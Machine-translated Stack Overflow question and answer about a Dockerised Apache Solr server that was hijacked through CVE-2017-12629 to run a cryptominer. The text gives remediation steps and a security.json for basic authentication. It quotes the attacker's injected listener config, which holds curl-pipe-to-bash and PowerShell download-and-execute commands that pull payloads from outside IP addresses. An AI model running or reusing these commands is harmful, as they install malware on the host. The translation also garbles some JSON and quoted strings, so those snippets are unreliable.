史前史:
- 我 friend 的网站开始运行缓慢。
- 本网站使用
docker
。 htop
告诉我,进程/var/tmp/sustes
与用户8983
加载的所有内核均已 100% 加载。试图找出什么是sustes
,但 Google 没有帮助,但是8983
告诉Solr
容器中的问题。尝试从 v6. 更新
Solr
?到 7.4 并收到消息:o.a.s.c.SolrCore 关闭时出错 ... Caused by: org.apache.solr.common.SolrException: 错误加载类 'solr.RunExecutableListener'
回滚到 v6.6.4(作为 docker-hub 上唯一可用的 v6 https://hub.docker.com/_/solr/),因为站点应该继续工作。
在
Docker
的日志中我发现:[x:default] o.a.s.c.S.SolrConfigHandler 成功执行配置命令并持久化到文件系统 [{"update-listener":{ “执行”:“嘘”, “名称”:“newlistener-02”, “参数”:[ -“C”, “curl -s http://192.99.142.226:8220/mr.sh | bash -sh”], “事件”:“新搜索器”, “类”:“solr.RunExecutableListener”, "dir":"/bin/"}}]
所以在 http://192.99.142.226:8220/mr.sh我们可以找到安装加密矿工的恶意软件代码(加密矿工配置:http://192.99.142.226:8220/wt.conf)。
使用链接 http://example.com:8983/solr/YOUR_CORE_NAME/config我们可以找到完整的配置,但现在我们只需要
listener
部分:“监听器”:[{ “事件”:“新搜索器”, “类”:“solr.QuerySenderListener”, “查询”:[]}, { “事件”:“第一搜索者”, “类”:“solr.QuerySenderListener”, “查询”:[]}, { “执行”:“嘘”, “名称”:“newlistener-02”, “参数”:[“-c”, “curl -s http://192.99.142.226:8220/mr.sh | bash -sh”], “事件”:“新搜索器”, “类”:“solr.RunExecutableListener”, “目录”:“/bin/”}, { “执行”:“嘘”, “名称”:“newlistener-25”, “参数”:[“-c”, “curl -s http://192.99.142.226:8220/mr.sh | bash -sh”], “事件”:“新搜索器”, “类”:“solr.RunExecutableListener”, “目录”:“/bin/”}, { "exe":"cmd.exe", “名称”:“newlistener-00”, “参数”:[“/c”, "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.99.142.248:8220/1.ps1')"], “事件”:“新搜索器”, “类”:“solr.RunExecutableListener”, "dir":"cmd.exe"}],
由于我们在
solrconfig.xml
中没有这样的设置,我在/opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json 中找到了它们
(这个文件的设置可以在http://example.com:8983/solr/YOUR_CORE_NAME/config/overlay找到
最佳答案
修复:
清理
configoverlay.json
,或简单地删除此文件(rm/opt/solr/server/solr/mycores/YOUR_CORE_NAME/conf/configoverlay.json
).重启 Solr(如何启动\停止 - https://lucene.apache.org/solr/guide/6_6/running-solr.html#RunningSolr-StarttheServer)或重启 docker 容器。
据我所知,由于CVE-2017-12629
,这种攻击是可能的:
如何使用 CVE-2017-12629 攻击 Apache Solr - https://spz.io/2018/01/26/attack-apache-solr-using-cve-2017-12629/
CVE-2017-12629:从 Solr 中删除 RunExecutableListener - https://issues.apache.org/jira/browse/SOLR-11482?attachmentOrder=asc
... 并在 v5.5.5、6.6.2+、7.1+ 中修复
这是由于免费提供 http://example.com:8983对于任何人,所以尽管这个漏洞是固定的,让...
为 http://example.com:8983 添加保护
创建
security.json
使用:{ “验证”:{ “blockUnknown”:真实的, “类”:“solr.BasicAuthPlugin”, “凭证”:{“solr”:“IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c="} }, “授权”:{ “类”:“solr.RuleBasedAuthorizationPlugin”, “权限”:[{“名称”:“安全编辑”, “角色”:“管理员”}], “用户角色”:{“solr”:“管理员”} }}
此文件必须放在
/opt/solr/server/solr/
(即solr.xml
旁边)由于
Solr
有自己的哈希检查器(作为 sha256(password+salt) 哈希),这里不能使用典型的解决方案。我发现生成哈希的最简单方法是从此处下载jar
文件 http://www.planetcobalt.net/sdb/solr_password_hash.shtml (在文章末尾)并将其作为java -jar SolrPasswordHash.jar NewPassword
运行。
因为我使用docker-compose
,所以我只是像这样构建Solr
:
# project/dockerfiles/solr/Dockerfile
FROM solr:7.4
ADD security.json /opt/solr/server/solr/
# project/sources/docker-compose.yml (just Solr part)
solr:
build: ./dockerfiles/solr/
container_name: solr-container
# Check if 'default' core is created. If not, then create it.
entrypoint:
- docker-entrypoint.sh
- solr-precreate
- default
# Access to web interface from host to container, i.e 127.0.0.1:8983
ports:
- "8983:8983"
volumes:
- ./dockerfiles/solr/default:/opt/solr/server/solr/mycores/default # configs
- ../data/solr/default/data:/opt/solr/server/solr/mycores/default/data # indexes
关于security - 解决方案异常 : Error loading class 'solr.RunExecutableListener' + '/var/tmp/sustes' process,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/51982703/